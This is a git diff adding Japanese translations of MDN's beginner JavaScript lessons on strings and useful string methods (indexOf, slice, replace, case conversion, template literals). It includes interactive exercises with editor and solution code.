エラーが起きると予想したかもしれませんが、普通に動きます。文字列を数値として表すのには意味がありませんが、数値を文字で表すのはわかりますね。つまりブラウザはどうやら、数値を文字列に変換し、2 つの文字列としてから結合しているようです。</li> + <li>数字同士でやっても同じです。数字を引用符で囲むと文字列になります。次の行を実行してみてください。(<code>typeof</code>演算子で変数が文字列なのか数値なのか調べています。) + <pre class="brush: js notranslate">let myDate = '19' + '67'; +typeof myDate;</pre> + </li> + <li>もし、数値を文字列に変換したかったり、文字列を数値に変換したかったりする場合には、次の 2 つの生成方法を見てください。 + <ul> + <li>{{jsxref("Number")}}オブジェクトは渡されたものすべてを数値に変換します。次の例を実行してみましょう。 + <pre class="brush: js notranslate">let myString = '123'; +let myNum = Number(myString); +typeof myNum;</pre> + </li> + <li>反対に全ての数値は <code><a href="/ja/docs/Web/JavaScript/Reference/Global_Objects/Number/toString">toString()</a></code> という文字列に変換するメソッドを持っています。 + <pre class="brush: js notranslate">let myNum = 123; +let myString = myNum.toString(); +typeof myString;</pre> + </li> + </ul> + この生成方法は状況によってはとても便利です。例えば、ユーザがフォームのテキストフィールドに数字を入力した場合、入力された値は文字列です。しかし、その数字を使って計算したい場合、数値にしなければなりません。そんな時は <code>Number()</code> に任せましょう。これは実際に<a href="https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/first-splash/number-guessing-game.html#L54">数字当てゲームの 54行目</a>で使用した方法です。</li> +</ol> + +<h2 id="テンプレートリテラル">テンプレートリテラル</h2> + +<p>遭遇する可能性のある別のタイプの文字列構文は、<strong>テンプレートリテラル</strong>（テンプレート文字列と呼ばれることもあります）です。 これは、より柔軟で読みやすい文字列を提供する新しい構文です。</p> + +<div class="blockIndicator note"> +<p>注: 以下の例をブラウザの JavaScript コンソールに入力して、どのような結果が得られるかを確認してください。</p> +</div> + +<p>標準の文字列リテラルをテンプレートリテラルに変換するには、引用符 (<code>' '</code> または <code>" "</code>) をバッククォート文字 (<code>` `</code>) に置き換える必要があります。</p> + +<p>簡単な例。</p> + +<pre class="brush: js notranslate">let song = 'Fight the Youth';</pre> + +<p>テンプレートリテラルに変換します。</p> + +<pre class="brush: js notranslate">song = `Fight the Youth`;</pre> + +<p>文字列を連結したり、文字列内に式の結果を含めたりする場合、従来の文字列で書くのは面倒です。</p> + +<pre class="brush: js notranslate">let score = 9; +let highestScore = 10; +let output = 'I like the song "' + song + '". I gave it a score of ' + (score/highestScore * 100) + '%.';</pre> + +<p>テンプレートリテラルはこれを非常に簡単に行えます。</p> + +<pre class="brush: js notranslate">output = `I like the song "${ song }". I gave it a score of ${ score/highestScore * 100 }%.`;</pre> + +<p>複数の文のピースを繋げる必要はありません。文章全体を1組のバッククォートで囲むだけです。文字列内に変数または式を含める場合は、プレースホルダーと呼ばれる <code>${ }</code> 構造内に含めます。</p> + +<p>テンプレートリテラル内に複雑な式を含めることもできます。</p> + +<pre class="brush: js notranslate">let examScore = 45; +let examHighestScore = 70; +examReport = `You scored ${ examScore }/${ examHighestScore } (${ Math.round((examScore/examHighestScore*100)) }%). ${ examScore >= 49 ? 'Well done, you passed!' : 'Bad luck, you didn\'t pass this time.' }`;</pre> + +<ul> + <li>最初の2つのプレースホルダーは非常に単純で、変数を参照する単純な文字列のみが含まれています。</li> + <li>3つ目は、パーセンテージの結果を計算し、それを最も近い整数に丸めます。</li> + <li>4つ目は、三項演算子を使用してスコアが特定の値を超えているかどうかを確認し、結果に応じて合格または不合格のメッセージを出力します。</li> +</ul> + +<p>従来の文字列リテラルで複数の行に分割する場合は、改行文字 <code>\n</code> を含める必要がありました。</p> + +<pre class="brush: js notranslate">output = 'I like the song "' + song + '".\nI gave it a score of ' + (score/highestScore * 100) + '%.';</pre> + +<p>テンプレートリテラルはソースコードの改行をそのまま再現するため、改行文字は不要になります。 以下は同じ結果を得ます。</p> + +<pre class="brush: js notranslate">output = `I like the song "${ song }". +I gave it a score of ${ score/highestScore * 100 }%.`;</pre> + +<p>できるだけ早くテンプレートリテラルの使用に慣れることをお勧めします。 これらは最新のブラウザで十分にサポートされており、サポートが不足しているのは Internet Explorer だけです。私たちの例の多くはまだ標準の文字列リテラルを使用していますが、今後さらに多くのテンプレートリテラルを含める予定です。</p> + +<p>高度な機能の例と詳細については、<a href="/ja/docs/Web/JavaScript/Reference/Template_literals">テンプレートリテラル</a>のリファレンスページを参照してください。</p> + +<h2 id="あなたのスキルをテストしてください！">あなたのスキルをテストしてください！</h2> + +<p>この記事の最後に到達しましたが、最も重要な情報を覚えていますか？ 先に進む前に、この情報を記憶していることを確認するためのいくつかの<a href="/en-US/docs/Learn/JavaScript/First_steps/Test_your_skills:_Strings">テスト</a>を見つけることができます。これには次の記事の知識も必要なので、最初にそれを読むことをお勧めします。</p> + +<h2 id="Conclusion" name="Conclusion">結論</h2> + +<p>ここまでが JavaScript での文字列の基礎になります。次の記事では、JavaScript で使える文字列操作の組み込み関数と、それを使って思い通りの形に文字列を変換する方法を、その基礎の上に建てていきましょう。</p> + +<p>{{PreviousMenuNext("Learn/JavaScript/First_steps/Math", "Learn/JavaScript/First_steps/Useful_string_methods", "Learn/JavaScript/First_steps")}}</p> + +<h2 id="In_this_module" name="In_this_module">このモジュール内</h2> + +<ul> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/JavaScript/First_steps/What_is_JavaScript">JavaScript って何?</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/JavaScript/First_steps/A_first_splash">JavaScript への最初のダイブ</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/JavaScript/First_steps/What_went_wrong">何が間違っている? JavaScript のトラブルシューティング</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/JavaScript/First_steps/Variables">必要な情報を保存する — 変数</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/JavaScript/First_steps/Math">JavaScript での数学入門 — 数値と演算子について</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/JavaScript/First_steps/Strings">テキストを扱う — JavaScript での文字列</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/JavaScript/First_steps/Useful_string_methods">便利な文字列メソッド</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/JavaScript/First_steps/Arrays">配列</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/JavaScript/First_steps/Silly_story_generator">評価: バカ話ジェネレーター</a></li> +</ul> diff --git a/files/ja/learn/javascript/first_steps/useful_string_methods/index.html b/files/ja/learn/javascript/first_steps/useful_string_methods/index.html new file mode 100644 index 0000000000..0c2f22adfd --- /dev/null +++ b/files/ja/learn/javascript/first_steps/useful_string_methods/index.html @@ -0,0 +1,680 @@ +--- +title: 便利な文字列メソッド +slug: Learn/JavaScript/First_steps/Useful_string_methods +tags: + - Article + - Beginner + - CodingScripting + - JavaScript + - Learn + - case + - indexof + - 'l10n:priority' + - length + - lower + - replace + - split + - upper +translation_of: Learn/JavaScript/First_steps/Useful_string_methods +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/JavaScript/First_steps/Strings", "Learn/JavaScript/First_steps/Arrays", "Learn/JavaScript/First_steps")}}</div> + +<p class="summary">文字列の基本についてはすでに見ました。ここからはレベルを上げて、組み込みのメソッドを使用して文字列に対して実行できる便利な操作について考えてみましょう。例えば、文字列の長さを調べたり、繋げたり、分割したり、ある文字を他の文字に置き換えたりなどです。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td>基礎的なコンピュータの知識、HTML と CSS の基本の理解、JavaScript が何かを知っていること。</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>文字列がオブジェクトであることを理解して、そのオブジェクトで使用できる基本的なメソッドを使って文字列を操作する方法を身に付ける。</td> + </tr> + </tbody> +</table> + +<h2 id="Strings_as_objects" name="Strings_as_objects">オブジェクトとしての文字列</h2> + +<p id="Useful_string_methods">JavaScript ではほとんどのものはオブジェクトです。たとえば、次のように文字列を作った時も、</p> + +<pre class="brush: js notranslate">let string = 'This is my string';</pre> + +<p>この変数は文字列オブジェクトのインスタンスになり、大量のプロパティとメソッドが使用可能となります。{{jsxref("String")}} オブジェクトのページに行って、横にある一覧を眺めてみてください！</p> + +<p><strong>また、脳が溶け出しそうかもしれませんが、安心してください！</strong>先ほどのページにある、ほとんどのメソッドは学習の初期に覚える必要はありません。しかし、今から紹介する、文字列操作のメソッドはとてもよく使いますのでぜひ覚えましょう。 </p> + +<p><a href="/ja/docs/Learn/Common_questions/What_are_browser_developer_tools">ブラウザの開発者コンソール</a>にいくつかの例を入力してみましょう。</p> + +<h3 id="Finding_the_length_of_a_string" name="Finding_the_length_of_a_string">文字列の長さを調べる</h3> + +<p>ただ {{jsxref("String.prototype.length", "length")}} プロパティを使用すればよいので、とても簡単です。次の行を入力してみましょう。</p> + +<pre class="brush: js notranslate">let browserType = 'mozilla'; +browserType.length;</pre> + +<p>これで 7 という数値が戻ります。なぜなら "mozilla" は 7文字だからです。例えば、文字の長さによって文字列を並べたいときや、ユーザーがある長さ以上のユーザー名をフォームの入力フィールドに入れたことを知らせたりするような場面で便利です。</p> + +<h3 id="Retrieving_a_specific_string_character" name="Retrieving_a_specific_string_character">特定の文字列を扱う</h3> + +<p>前の例と関連していますが、文字列に対して<strong>角括弧記法</strong>を使用することで文字列中の任意の 1文字が得られます。つまり角括弧 (<code>[]</code>) を変数名の後ろに付け、その中に数値を入れることで、その番目にある文字が返ってきます。例えば最初の一文字を取得するには次のようにします。</p> + +<pre class="brush: js notranslate">browserType[0];</pre> + +<p>コンピューターは 1 からではなく、0 から数えます！例えば、文字列から最初の文字を見つけてアルファベット順に並べるときに使うことができます。</p> + +<p>文字列の一番最後の文字を取得したいときは、先ほどの <code>length</code> プロパティと組み合わせて以下のようにします。</p> + +<pre class="brush: js notranslate">browserType[browserType.length-1];</pre> + +<p>"mozilla" の長さは 7 ですが、0 から始まるので、最後の文字の位置は 6 になります。よって <code>length-1</code> とする必要があるのです。</p> + +<h3 id="Finding_a_substring_inside_a_string_and_extracting_it" name="Finding_a_substring_inside_a_string_and_extracting_it">部分文字列を探して抽出する</h3> + +<p>長い文字列の中に、ある文字列が存在するか調べたいと思うことがあります (よく文字列中に部分文字列が存在するなどといいます)。これには、探したい部分文字列を{{glossary("parameter","引数")}}に取る {{jsxref("String.prototype.indexOf()", "indexOf()")}} メソッドを使用することで可能です。</p> + +<p>もし対象の文字列中に部分文字列が<em>見つかった</em>場合、このメソッドは部分文字列のインデックス位置を表す数値 (対象の文字列上で部分文字列が始まる文字数) を返します。もし対象の文字列中に部分文字列が<em>見つからなかった</em>場合は、<code>-1</code> の値を返します。</p> + +<ol> + <li>以下を試してみましょう。 + <pre class="brush: js notranslate">browserType.indexOf('zilla');</pre> + このコードは 2 を返します。なぜならば、"mozilla"という文字列中で、部分文字列"zilla"の開始位置が 2 (0、1、2 — つまり 3文字目)であるからです。このようなコードは文字列を絞り込むときなどに使います。例えば、ウェブサイトのアドレスの一覧があったとき、その中から"mozilla"を含むものだけを表示したい場合などです。</li> +</ol> + +<ol start="2"> + <li>部分文字列が含まれてることを確認するもう一つの方法があり、こちらのほうが効果的な場合があります。 + <pre class="brush: js notranslate">browserType.indexOf('vanilla');</pre> + 上記のコードは <code>-1</code> を返します。これは部分文字列 (この場合は 'vanilla') がメインの文字列の中に見つからなかった場合に返されます。<br> + <br> + これを使って、部分文字列 'mozilla' を<strong>含まない</strong> (あるいは否定演算子 <code>!==</code> を使うなら<strong>含む</strong>) 文字列のすべてのインスタンスを見つけることができます。 + + <pre class="brush: js notranslate">if(browserType.indexOf('mozilla') === -1) { + // もし部分文字列 'mozilla' が含まれていない場合は、 + // 文字列で何かをします。 +} + +if(browserType.indexOf('mozilla') !== -1) { + // もし部分文字列 'mozilla' が含まれている場合は、 + // 文字列で何かをします。 +}</pre> + </li> + <li>部分文字列がその文字列のどこから始まるかが分かっており、どこで終わっているかがわかれば、その部分文字列を {{jsxref("String.prototype.slice()", "slice()")}} メソッドを使用することで抽出することができます。 + <pre class="brush: js notranslate">browserType.slice(0,3);</pre> + このコードは "moz" という文字列を返します。最初の引数は抽出を始める最初の位置で、2番目の引数が抽出する最後の文字の直後の位置です。つまり、この場合先頭から 4番目の手前までの文字列が切り出されたということです。言い換えると、この場合は 2番目の引数と同じ 3文字が切り出されました。</li> + <li>また、ある文字以降の文字列の残りの文字をすべて抽出したいとわかっている場合は、2番目のパラメータを含める必要はありません！その代わり、文字列内の残りの文字を抽出したい文字の位置を含める必要があるだけです。次のようにしてみてください。 + <pre class="brush: js notranslate">browserType.slice(2);</pre> + この例は "zilla" という文字列を返します。なぜなら、2 の位置にある文字は z であり、2番目の引数を指定していないため、3文字目から最後までが部分文字列として戻ったのです。 </li> +</ol> + +<div class="note"> +<p><strong>注</strong>: <code>slice()</code> の 2番目の引数はオプション (任意指定) です。もし指定しなければ、元々の文字列の最後まで切り出しを行います。他にもオプションがありますので、さらに詳しく知りたければ{{jsxref("String.prototype.slice()", "slice()")}}のページで調べてみましょう。</p> +</div> + +<h3 id="Changing_case" name="Changing_case">大文字・小文字の切り替え</h3> + +<p>String には{{jsxref("String.prototype.toLowerCase()", "toLowerCase()")}}と{{jsxref("String.prototype.toUpperCase()", "toUpperCase()")}}という 2 つのメソッドがあり、引数として渡された文字列のすべての文字の大文字・小文字を切り替えます。これは例えば、ユーザーの入力を DB に保存する場合に、値を正規化するのに便利です。</p> + +<p>それでは次の行を入力し、何が起きるか見てみましょう。</p> + +<pre class="brush: js notranslate">let radData = 'My NaMe Is MuD'; +radData.toLowerCase(); +radData.toUpperCase();</pre> + +<h3 id="Updating_parts_of_a_string" name="Updating_parts_of_a_string">文字列の一部分を書き換える</h3> + +<p>{{jsxref("String.prototype.replace()", "replace()")}}メソッドを使用することで、ある部分文字列を他の文字列に置き換えることができます。基本レベルではとても単純に動作しますが、<code>replace()</code> メソッドは高度な機能を持っています (今回はその機能は紹介しませんが)。</p> + +<p>検索する文字列と、置き換える文字列の 2 つを引数に取ります。次の例を実行してみてください。</p> + +<pre class="brush: js notranslate">browserType.replace('moz','van');</pre> + +<p>これはコンソールで"vanilla"を返しますが、<code>browserType</code> の値は、"mozilla"のままです。プログラムで変数 <code>browserType</code> の値を実際に更新するには、演算の結果を変数に設定し直す必要があります。つまりそれ変数に設定されている部分文字列を自動的には更新してくれないのです。従って実際に変数の内容を更新するためには <code>browserType = browserType.replace('moz','van');</code> のように書きます。</p> + +<h2 id="Active_learning_examples" name="Active_learning_examples">アクティブ学習の実例</h2> + +<p>この章では、文字列を操作するコードを書いてもらいます。以下のどの問題も文字列の配列をループで回して、順序なしリスト形式で表示しますが、配列やループに関して今は理解する必要はありません。配列については今後の記事で説明します。必要なのは、どのような書式で出力するかという要求を満たすコードを書くことです。</p> + +<p>どの例も「リセット」ボタンがあるので、コードが動かなくなった場合は使用してみてください。もし本当に行き詰まってしまった場合には、「答えを見る」ボタンを押すことで、回答を見ることができます。</p> + +<h3 id="Filtering_greeting_messages" name="Filtering_greeting_messages">挨拶を選別する</h3> + +<p>まずは簡単な問題から始めます。挨拶状に使用するメッセージの配列の中から、クリスマスのメッセージのみを選別し、並べ替えてください。やるべきことは、メッセージがクリスマスメッセージであることを判定しその場合のみ表示されるよう、<code>if ( ... )</code> 文の条件式を埋めることです。</p> + +<ol> + <li>まず、各メッセージがどうであればクリスマス(Christmas)メッセージとみなせるかを考えてください。こういうメッセージ中にはどんな文字列があり、それが存在するか判定するのにどんなメソッドが使えるでしょうか？</li> + <li>それから、オペランド 1 演算子 オペランド 2 の形で条件を書いてください。その条件は左辺と右辺が等しいかというものでしょうか？もしくは左辺のメソッドの戻り値が、右辺であるかというものでしょうか。</li> + <li>ヒント: 今回の場合、メソッドの戻り値の結果が何でないかを判定するとよいでしょう。</li> +</ol> + +<div class="hidden"> +<h6 id="Playable_code" name="Playable_code">Playable code</h6> + +<pre class="brush: html notranslate"><h2>出力結果</h2> + +<div class="output" style="min-height: 125px;"> + +<ul> + +</ul> + +</div> + +<h2>コードエディタ</h2> +<p class="a11y-label">コードエディタから抜けるには Esc キーを押して下さい(タブキーではタブ文字を挿入します)。</p> + +<textarea id="code" class="playable-code" style="height: 290px; width: 95%"> +const list = document.querySelector('.output ul'); +list.innerHTML = ''; +let greetings = ['Happy Birthday!', + 'Merry Christmas my love', + 'A happy Christmas to all the family', + 'You\'re all I want for Christmas', + 'Get well soon']; + +for (let i = 0; i < greetings.length; i++) { + let input = greetings[i]; + // 以下の条件の括弧内の内容を書き換えて下さい + if (greetings[i]) { + let listItem = document.createElement('li'); + listItem.textContent = input; + list.appendChild(listItem); + } +} +</textarea> + +<div class="playable-buttons"> + <input id="reset" type="button" value="リセット"> + <input id="solution" type="button" value="答えを見る"> +</div> +</pre> + +<pre class="brush: css notranslate">html { + font-family: sans-serif; +} + +h2 { + font-size: 16px; +} + +.a11y-label { + margin: 0; + text-align: right; + font-size: 0.7rem; + width: 98%; +} + +body { + margin: 10px; + background: #f5f9fa; +}</pre> + +<pre class="brush: js notranslate">const textarea = document.getElementById('code'); +const reset = document.getElementById('reset'); +const solution = document.getElementById('solution'); +let code = textarea.value; +let userEntry = textarea.value; + +function updateCode() { + eval(textarea.value); +} + +reset.addEventListener('click', function() { + textarea.value = code; + userEntry = textarea.value; + solutionEntry = jsSolution; + solution.value = '答えを見る'; + updateCode(); +}); + +solution.addEventListener('click', function() { + if(solution.value === '答えを見る') { + textarea.value = solutionEntry; + solution.value = '答えを隠す'; + } else { + textarea.value = userEntry; + solution.value = '答えを見る'; + } + updateCode(); +}); + +const jsSolution = 'const list = document.querySelector(\'.output ul\');' + +'\nlist.innerHTML = \'\';' + +'\nlet greetings = [\'Happy Birthday!\',' + +'\n \'Merry Christmas my love\',' + +'\n \'A happy Christmas to all the family\',' + +'\n \'You\\\'re all I want for Christmas\',' + +'\n \'Get well soon\'];' + +'\n' + +'\nfor (let i = 0; i < greetings.length; i++) {' + +'\n let input = greetings[i];' + +'\n if (greetings[i].indexOf(\'Christmas\') !== -1) {' + +'\n let result = input;' + +'\n let listItem = document.createElement(\'li\');' + +'\n listItem.textContent = result;' + +'\n list.appendChild(listItem);' + +'\n }' + +'\n}'; + +let solutionEntry = jsSolution; + +textarea.addEventListener('input', updateCode); +window.addEventListener('load', updateCode); + +// タブキーでテキストエリアから抜けてしまうのを防ぎ、 +// 代わりにカーソル位置にタブ文字を挿入する + +textarea.onkeydown = function(e){ + if (e.keyCode === 9) { + e.preventDefault(); + insertAtCaret('\t'); + } + + if (e.keyCode === 27) { + textarea.blur(); + } +}; + +function insertAtCaret(text) { + const scrollPos = textarea.scrollTop; + const caretPos = textarea.selectionStart; + const front = (textarea.value).substring(0, caretPos); + const back = (textarea.value).substring(textarea.selectionEnd, textarea.value.length); + + textarea.value = front + text + back; + caretPos = caretPos + text.length; + textarea.selectionStart = caretPos; + textarea.selectionEnd = caretPos; + textarea.focus(); + textarea.scrollTop = scrollPos; +} + +// ユーザーがテキストエリアのコードを書き換える度に userCode を毎回更新する + +textarea.onkeyup = function(){ + // ユーザーのコードが表示されているときのみ状態を保存し、 + // 答えのコードでユーザーコードが上書きされないようにする + if(solution.value === '答えを見る') { + userEntry = textarea.value; + } else { + solutionEntry = textarea.value; + } + + updateCode(); +};</pre> +</div> + +<p>{{ EmbedLiveSample('Playable_code', '100%', 590, "", "", "hide-codepen-jsfiddle") }}</p> + +<h3 id="Fixing_capitalization" name="Fixing_capitalization">単語の最初の文字を大文字に直す</h3> + +<p>この課題ではイギリスの都市名を題材にします。ところが、単語の大文字と小文字がぐちゃぐちゃになっています。そこで最初の文字を大文字にし、残りをすべて小文字にしてみましょう。こういう手順でやってみます:</p> + +<ol> + <li><code>input</code> 変数に入っている文字列全体を小文字に変換し、それを新しい変数に格納します。</li> + <li>この新しい変数にある最初の文字を取り出し、さらに別の変数に格納します。</li> + <li>その新しい変数を部分文字列とし、小文字ばかりの文字列にある最初の文字を置換して、大文字化します。この置換処理の結果を別の新しい変数に格納します。</li> + <li><code>input</code> 変数ではなく、最終結果が <code>result</code> 変数の値に代入されるよう修正します。</li> +</ol> + +<div class="note"> +<p><strong>注</strong>: ヒント — 文字列メソッドのパラメーターは文字列リテラルである必要はありません。変数でもよいですし、メソッドが呼び出される変数であっても構いません。</p> +</div> + +<div class="hidden"> +<h6 id="Playable_code_2" name="Playable_code_2">Playable code 2</h6> + +<pre class="brush: html notranslate"><h2>出力結果</h2> + +<div class="output" style="min-height: 125px;"> + +<ul> + +</ul> + +</div> + +<h2>コードエディタ</h2> +<p class="a11y-label">コードエディタから抜けるには Esc キーを押して下さい(タブキーではタブ文字を挿入します)。</p> + +<textarea id="code" class="playable-code" style="height: 250px; width: 95%"> +const list = document.querySelector('.output ul'); +list.innerHTML = ''; +let cities = ['lonDon', 'ManCHESTer', 'BiRmiNGHAM', 'liVERpoOL']; +for(var i = 0; i < cities.length; i++) { + var input = cities[i]; + // この下にコードを書いて下さい + + let result = input; + let listItem = document.createElement('li'); + listItem.textContent = result; + list.appendChild(listItem); +} +</textarea> + +<div class="playable-buttons"> + <input id="reset" type="button" value="リセット"> + <input id="solution" type="button" value="答えを見る"> +</div> +</pre> + +<pre class="brush: css notranslate">html { + font-family: sans-serif; +} + +h2 { + font-size: 16px; +} + +.a11y-label { + margin: 0; + text-align: right; + font-size: 0.7rem; + width: 98%; +} + +body { + margin: 10px; + background: #f5f9fa; +}</pre> + +<pre class="brush: js notranslate">const textarea = document.getElementById('code'); +const reset = document.getElementById('reset'); +const solution = document.getElementById('solution'); +let code = textarea.value; +let userEntry = textarea.value; + +function updateCode() { + eval(textarea.value); +} + +reset.addEventListener('click', function() { + textarea.value = code; + userEntry = textarea.value; + solutionEntry = jsSolution; + solution.value = '答えを見る'; + updateCode(); +}); + +solution.addEventListener('click', function() { + if(solution.value === '答えを見る') { + textarea.value = solutionEntry; + solution.value = '答えを隠す'; + } else { + textarea.value = userEntry; + solution.value = '答えを見る'; + } + updateCode(); +}); + +const jsSolution = 'const list = document.querySelector(\'.output ul\');' + +'\nlist.innerHTML = \'\';' + +'\nlet cities = [\'lonDon\', \'ManCHESTer\', \'BiRmiNGHAM\', \'liVERpoOL\'];' + +'\n' + +'\nfor (let i = 0; i < cities.length; i++) {' + +'\n let input = cities[i];' + +'\n let lower = input.toLowerCase();' + +'\n let firstLetter = lower.slice(0,1);' + +'\n let capitalized = lower.replace(firstLetter,firstLetter.toUpperCase());' + +'\n let result = capitalized;' + +'\n let listItem = document.createElement(\'li\');' + +'\n listItem.textContent = result;' + +'\n list.appendChild(listItem);' + +'\n' + +'\n}'; + +let solutionEntry = jsSolution; + +textarea.addEventListener('input', updateCode); +window.addEventListener('load', updateCode); + +// タブキーでテキストエリアから抜けてしまうのを防ぎ、 +// 代わりにカーソル位置にタブ文字を挿入する + +textarea.onkeydown = function(e){ + if (e.keyCode === 9) { + e.preventDefault(); + insertAtCaret('\t'); + } + + if (e.keyCode === 27) { + textarea.blur(); + } +}; + +function insertAtCaret(text) { + const scrollPos = textarea.scrollTop; + const caretPos = textarea.selectionStart; + const front = (textarea.value).substring(0, caretPos); + const back = (textarea.value).substring(textarea.selectionEnd, textarea.value.length); + + textarea.value = front + text + back; + caretPos = caretPos + text.length; + textarea.selectionStart = caretPos; + textarea.selectionEnd = caretPos; + textarea.focus(); + textarea.scrollTop = scrollPos; +} + +// ユーザーがテキストエリアのコードを書き換える度に userCode を毎回更新する + +textarea.onkeyup = function(){ + // ユーザーのコードが表示されているときのみ状態を保存し、 + // 答えのコードでユーザーコードが上書きされないようにする + if(solution.value === '答えを見る') { + userEntry = textarea.value; + } else { + solutionEntry = textarea.value; + } + + updateCode(); +};</pre> +</div> + +<p>{{ EmbedLiveSample('Playable_code_2', '100%', 550, "", "", "hide-codepen-jsfiddle") }}</p> + +<h3 id="Making_new_strings_from_old_parts" name="Making_new_strings_from_old_parts">既存の部分から新しい文字列を作成する</h3> + +<p>最後の課題では、北イングランドの駅に関する情報が入っている文字列を格納している配列を扱います。この文字列にはデータ項目として、アルファベット 3文字の駅コード、次にコンピューター読み取り用のデータ、次にセミコロン、そして人間が読める駅名が入っています。例:</p> + +<pre class="notranslate">MAN675847583748sjt567654;Manchester Piccadilly</pre> + +<p>駅コードと駅名を抽出し、それを文字列にまとめてこのような形にします:</p> + +<pre class="notranslate">MAN: Manchester Piccadilly</pre> + +<p>このようにプログラムしてみましょう:</p> + +<ol> + <li>アルファベット 3文字のコードを抽出し、新しい変数に格納します。</li> + <li>セミコロンの文字インデックス番号を検索します。</li> + <li>セミコロンの文字インデックス番号を参照位置にして、人が読める駅名を抽出し、新しい変数に格納します。</li> + <li>この 2 つの新しい変数と文字列リテラルとを連結し、最終的な文字列を作成します。</li> + <li><code>input</code> 変数ではなく、この最終結果が <code>result</code> 変数の値に代入されるよう修正します。</li> +</ol> + +<div class="hidden"> +<h6 id="Playable_code_3" name="Playable_code_3">Playable code 3</h6> + +<pre class="brush: html notranslate"><h2>出力結果</h2> + +<div class="output" style="min-height: 125px;"> + +<ul> + +</ul> + +</div> + +<h2>コードエディタ</h2> +<p class="a11y-label">コードエディタから抜けるには Esc キーを押して下さい(タブキーではタブ文字を挿入します)。</p> + +<textarea id="code" class="playable-code" style="height: 285px; width: 95%"> +const list = document.querySelector('.output ul'); +list.innerHTML = ''; +let stations = ['MAN675847583748sjt567654;Manchester Piccadilly', + 'GNF576746573fhdg4737dh4;Greenfield', + 'LIV5hg65hd737456236dch46dg4;Liverpool Lime Street', + 'SYB4f65hf75f736463;Stalybridge', + 'HUD5767ghtyfyr4536dh45dg45dg3;Huddersfield']; + +for (var i = 0; i < stations.length; i++) { + let input = stations[i]; + // この下にコードを書いてください + + let result = input; + let listItem = document.createElement('li'); + listItem.textContent = result; + list.appendChild(listItem); +} +</textarea> + +<div class="playable-buttons"> + <input id="reset" type="button" value="リセット"> + <input id="solution" type="button" value="答えを見る"> +</div> +</pre> + +<pre class="brush: css notranslate">html { + font-family: sans-serif; +} + +h2 { + font-size: 16px; +} + +.a11y-label { + margin: 0; + text-align: right; + font-size: 0.7rem; + width: 98%; +} + +body { + margin: 10px; + background: #f5f9fa; +} +</pre> + +<pre class="brush: js notranslate">const textarea = document.getElementById('code'); +const reset = document.getElementById('reset'); +const solution = document.getElementById('solution'); +let code = textarea.value; +let userEntry = textarea.value; + +function updateCode() { + eval(textarea.value); +} + +reset.addEventListener('click', function() { + textarea.value = code; + userEntry = textarea.value; + solutionEntry = jsSolution; + solution.value = '答えを見る'; + updateCode(); +}); + +solution.addEventListener('click', function() { + if(solution.value === '答えを見る') { + textarea.value = solutionEntry; + solution.value = '答えを隠す'; + } else { + textarea.value = userEntry; + solution.value = '答えを見る'; + } + updateCode(); +}); + +const jsSolution = 'const list = document.querySelector(\'.output ul\');' + +'\nlist.innerHTML = \'\';' + +'\nlet stations = [\'MAN675847583748sjt567654;Manchester Piccadilly\',' + +'\n \'GNF576746573fhdg4737dh4;Greenfield\',' + +'\n \'LIV5hg65hd737456236dch46dg4;Liverpool Lime Street\',' + +'\n \'SYB4f65hf75f736463;Stalybridge\',' + +'\n \'HUD5767ghtyfyr4536dh45dg45dg3;Huddersfield\'];' + +'\n' + +'\nfor (let i = 0; i < stations.length; i++) {' + +'\n let input = stations[i];' + +'\n let code = input.slice(0,3);' + +'\n let semiC = input.indexOf(\';\');' + +'\n let name = input.slice(semiC + 1);' + +'\n let result = code + \': \' + name;' + +'\n let listItem = document.createElement(\'li\');' + +'\n listItem.textContent = result;' + +'\n list.appendChild(listItem);' + +'\n}'; + +let solutionEntry = jsSolution; + +textarea.addEventListener('input', updateCode); +window.addEventListener('load', updateCode); + +// タブキーでテキストエリアから抜けてしまうのを防ぎ、 +// 代わりにカーソル位置にタブ文字を挿入する + +textarea.onkeydown = function(e){ + if (e.keyCode === 9) { + e.preventDefault(); + insertAtCaret('\t'); + } + + if (e.keyCode === 27) { + textarea.blur(); + } +}; + +function insertAtCaret(text) { + const scrollPos = textarea.scrollTop; + const caretPos = textarea.selectionStart; + const front = (textarea.value).substring(0, caretPos); + const back = (textarea.value).substring(textarea.selectionEnd, textarea.value.length); + + textarea.value = front + text + back; + caretPos = caretPos + text.length; + textarea.selectionStart = caretPos; + textarea.selectionEnd = caretPos; + textarea.focus(); + textarea.scrollTop = scrollPos; +} + +// ユーザーがテキストエリアのコードを書き換える度に userCode を毎回更新する + +textarea.onkeyup = function(){ + // ユーザーのコードが表示されているときのみ状態を保存し、 + // 答えのコードでユーザーコードが上書きされないようにする + if(solution.value === '答えを見る') { + userEntry = textarea.value; + } else { + solutionEntry = textarea.value; + } + + updateCode(); +};</pre> +</div> + +<p>{{ EmbedLiveSample('Playable_code_3', '100%', 585, "", "", "hide-codepen-jsfiddle") }}</p> + +<h2 id="スキルをテストしよう!">スキルをテストしよう!</h2> + +<p>この記事の最後に到達しましたが、最も大事な情報を覚えていますか？移動する前に、情報を維持しているかを検証するテストを見ることができます— <a href="https://wiki.developer.mozilla.org/ja/docs/Learn/JavaScript/First_steps/Test_your_skills:_Strings">Test your skills: Strings</a> を見てください。</p> + +<h2 id="Conclusion" name="Conclusion">結論</h2> + +<p>プログラミング、特に JavaScript では単語や文を処理できるようになることが大事であるという現実から逃れることはできません。それはウェブサイトは人とのコミュニケーションがすべてとなるためです。この記事では、文字列を処理するのに当面知っておくべき基礎を解説しました。今後もっと複雑なトピックに進んで行くときに役立つはずです。次に、配列を見てみます。重要なデータ型のうち、短期間で押さえておくべき最後の 1 つです。</p> + +<p>{{PreviousMenuNext("Learn/JavaScript/First_steps/Strings", "Learn/JavaScript/First_steps/Arrays", "Learn/JavaScript/First_steps")}}</p> + 